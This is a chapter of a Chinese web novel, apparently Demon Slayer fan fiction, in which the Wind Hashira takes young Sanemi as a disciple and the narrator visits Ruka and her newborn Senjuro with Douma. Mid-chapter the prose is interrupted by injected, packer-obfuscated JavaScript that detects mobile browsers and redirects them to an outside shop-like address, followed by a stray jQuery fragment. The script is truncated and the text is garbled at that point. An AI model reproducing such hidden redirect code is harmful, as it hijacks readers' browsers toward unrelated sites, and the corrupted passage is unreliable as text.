28.童磨的

作品:《卧底教会之后教主非要嫁给我

    武田玄信为难的看了我好几眼,最后带着几分自暴自弃的坦然开口了。


    “不要用清水小姐作为标准嘛,在鬼杀队我也是比较厉害的存在了。”


    这不是武田玄信瞎说,他的实力在柱中也算是佼佼者,现役的柱中,除去最强的炎柱,紧接着就是他。


    武田玄信潇洒的将额前的碎发顺到脑后,摆出自认为无比潇洒的姿势。


    “在鬼杀队,可是有无数崇拜我的孩子在哦,英俊潇洒的我无论走到鬼杀队的哪里,都会出现一堆小粉丝们,总一口一个‘风柱大人’或者‘武田大人’的叫着。只要是我走过的地方,总是会留下一堆因为见到我太激动而晕厥的孩子们!”


    说完再次撩了一下他的刘海,露出略带油腻的笑容。


    而这些虚名丝毫没有打动小猫,此猫目前对陌生的成年男子总是抱有一定的警惕心理。


    不死川实弥睁着死鱼眼开口:“哦,谁在乎。”


    白毛小猫呲牙咧嘴的冲他哈气,“当我师傅的人一定要足够强才行!”


    说完,他抄起小木刀就向着武田玄信攻去,风吹去他的头发,露出了他充满冲击性的眼睛,带着生机勃勃的野望,毫不犹豫的出手了。


    是该称赞他初生牛犊不怕虎呢,还是该批评他的胆大无谋呢?


    总之,开弓没有回头箭。既然做出了进攻的决定,就不会后退。


    “真是漂亮的眼神。”


    武田玄信显然也被这眼神惊艳到,忍不住开口夸奖。不过再狠的小狼崽也还是幼崽,在狡猾大人面前完全不够看。


    抱着“打不过大的我还打不过小的吗”的心理,武田玄信轻松的一一化解了不死川实弥没有章法的攻击,不过他也越来越心惊,越来越欣赏面前的这个孩子。


    下盘很稳,步伐灵活。


    不死川实弥见进攻都被挡下,轻巧的后撤两步,观察着武田玄信的动作。


    看似很冲动,但是战斗中意外的冷静呢,是因为认为自己不会死掉吗?所以才鲁莽的发起进攻。


    武田玄信终于舍得拔出他的日轮刀,露出青绿色的刀身。他眼神凌厉,势必要一招征服他看中的这个徒弟。


    “风之呼吸·捌之型 初烈风斩”


    这是风之呼吸中最简单而华丽的招数了,刀身带着风形成绿色的巨大风刃,看似柔情慢慢,其实无比锋利,可以说碰即斩,斩即断。可以说是他斩杀恶鬼最喜欢的一招了。


    小小的不死川实弥被这有些华丽的风刃迷住了,武田玄信颇为得意的扬起了脸,等待着猫猫崇拜的目光。


    果然不出他所料,不死川实弥崇拜的睁着星星眼崇拜的一把抱住了——他的日轮刀!


    “真是好厉害的一把刀哇!”


    紫眼猫猫颇为爱惜的轻轻抚摸着日轮刀的刀身,把旁边的武田玄信忽视了个彻底。


    我在一边没忍住终于笑出声。


    “噗嗤。”


    武田玄信脚底一滑,差点摔倒,挣扎了半天还是选择说出口。


    “原来是爱上我的刀了啊?”


    但是很快他又调整好情绪,带着漫不经心的语气,慢吞吞的勾引小猫。


    “你很喜欢吗?眼光很好哦。只有当我的继子,才能找刀匠给你也打造一把一模一样的日轮刀。”


    此乃谎言!


    之前鬼杀队的主公就告诉我了,加入鬼杀队之后人手一把日轮刀。


    但我没拆穿他的谎言,毕竟傲娇小猫也需要个台阶下来嘛。


    果然,小猫紧接着开口。


    “好吧,看在你有这么好的刀的面子上。”


    武田玄信像终于找到宝藏的海盗,一把将小猫抱起来,从口袋掏阿掏,找到一个水晶般的吊坠挂在了不死川实弥的脖子上。


    “这个就是我从你的见面礼啦。”


    炼狱父子早已经离去,着急着去看瑠火。


    我们三个也开始往回走,武田玄信还有一搭没一搭的和实弥搭话。


    “你是家里的长子吗?”


    “对,所以我一定要很强,非常强。这样才能保护大家!”


    “哈哈,很辛苦吧。”


    有些干燥的手掌放在了不死川实弥的脑袋上,虽然粗糙,但是热乎乎的,好温暖。


    那声音继续说话了。


    “我会帮你的。保护你的家人,还有你。”


    不死川实弥抬起头,看着这个没有正经模样的有些奇怪的不靠谱大人。


    逆着阳光,有些看不清他的脸。


    “为什么对我这么好?”


    耳边传来爽朗的笑,声音却还是那样温和。


    “你要问为什么?那就是我一看见你就很喜欢你吧!说不定我们的缘分从上辈子就注定了呢!”


    后面的话已经听不清了,正午真的好热,太阳明晃晃的照着,为什么还能看见比太阳还要耀眼的存在?


    不死川实弥恐怕自己都没注意到,他已经扬起来了大大的笑容。


    “是吗?我也挺喜欢你的,勉勉强强吧。”


    回答他的还是那只有些粗糙的手。


    看到时机成熟,我也一溜烟的跑走了,实弥这孩子总是苦大仇深的,一直担心着未来。


    武田玄信应该可以给他带来更多的安全感吧?


    刚一进教会,接生的阿婆就来喜气洋洋的过来恭喜我。


    “清水小姐呀,瑠火夫人已经生产完了。”


    “瑠火精神怎么样?需要什么吗?身体呢?”


    我有些着急的问阿婆,原本悠闲地脚步也变得急促起来,最终变成小跑。


    阿婆拽着我的袖子,呼吸也愈发急促,我才猛地放慢速度,等着阿婆的话。


    “呼…清水小姐你放心吧…瑠火夫人精神还不错,生的时候很顺利,没有经历什么痛苦。呼…你准备的那些补药也已经送去了…炼狱先生和杏寿郎已经在陪着她了。”


    我这才放下心,放慢了脚步,随手摸出几张钱币塞进阿婆手里,笑眯眯的感谢她。


    “谢谢阿婆操心啦,那我就去看下瑠火,之后有什么需要来找我就行。”


    阿婆也乐呵呵的和我道别了。


    还没走进房间,我就听见了小孩子的哭闹声,和炼狱槙寿郎的巨大嗓音。


    “瑠火,你没事就太好了。”


    声音甚至带着几分哽咽,我僵在了门外,不知道该不该进去。


    “咦~小柚月在这干嘛呢?”


    童磨!果然是你


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17050602|193449||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    啊!


    我瞬间露出鲨鱼齿想把他暴揍一顿,咬牙切齿的小声开口。


    “没看见人家气氛正好吗,混蛋你就是故意的吧!”


    但是已经来不及了,杏寿郎已经走过来把门拉开了。


    “柚月姐怎么不进来?童磨先生也一起吧。”


    “……哈哈。是啊,我为什么不进去,哈哈。”


    我僵直着身体同手同脚的走进去了,童磨倒是没有丝毫受到影响,大摇大摆的进去了,杏寿郎还贴心的把门给关上了。


    刚坐下,我就发现槙寿郎神情不自然,眼眶都有点泛红,我装作没看出来的样子和瑠火搭话,可是偏偏有人看不懂眼色。


    “你是哭了吗?”


    童磨凑到鬼杀队的炎柱身边,甚至弯着腰伸着脑袋去看他的眼睛。


    “别胡说!”


    炼狱槙寿郎急忙反驳,可他眼角的一抹红彻底出卖了他,故作凶恶的狠狠抹了一把脸,粗犷的嗓音传来。


    “别以为装疯卖傻我就会相信你了,恶鬼!”


    “欸?”


    童磨无辜的指着自己,萌萌的开口:“恶鬼?我吗?”


    童磨张开手臂,“这个教会都是我的哦?我可是救了很多可怜人呢!而且我这次一个人都没吃哦!”


    “怎么看我都很善良吧?”


    我在瑠火旁边附和着点头,“教主大人很伟大,完全就是最好的人!不对,最好的鬼,当然在人类也算很好的人!”


    炼狱槙寿郎看起来很想反驳,但是不知道怎么说。还是瑠火嗤笑一声打破了僵局。


    “槙寿郎,别那样说。其实他也很信任大家,不然不会愿意我来这里生产的。”


    “是不是,槙寿郎?”


    我虚着眼看向鬼杀队赫赫有名的炎柱,完全被自己的妻子拿捏了呢!


    低头看向瑠火怀里皱巴巴的小人儿,我开口问瑠火。


    “这孩子叫什么名字?”


    “千寿郎,炼狱千寿郎。”


    瑠火也低头看着怀里的孩子,露出幸福的笑容。


    又聊了几句,我就带着童磨起身准备告别。


    哪能让刚生产完的母亲劳累这么久呢?


    出了房门,童磨转身把门关上,又从背后抱住了我,毛茸茸的脑袋压在我的头发上。


    我率先开口:“怎么了吗?”


    没听见具体的回答,童磨发出几声没有意义的哼唧声后才有些别扭的开口说话。


    “今天晚上我想一个人去见一个朋友。”


    像是怕我没在意,又特意大声重复了一次,“一个人哦!”


    这倒是很稀奇,童磨很少一个人活动。自从我回来后,他更是不愿意和我分开行动,除了鬼杀队他不能去,剩下的无论哪里他都要跟着我。


    牵起圈在腰间的大手,和他十指相扣,嗓音温柔的开口。


    “是我不能见的朋友吗?”


    某鬼开始着急的解释:“不是啦,只是想问他一些问题。”又诡异的沉默了一会再次强调。


    “一个人问。”


    欸?这次意外的坚决呢。


    我也没有强求,还是答应了他。


    哼哼,总有办法知道他要问什么。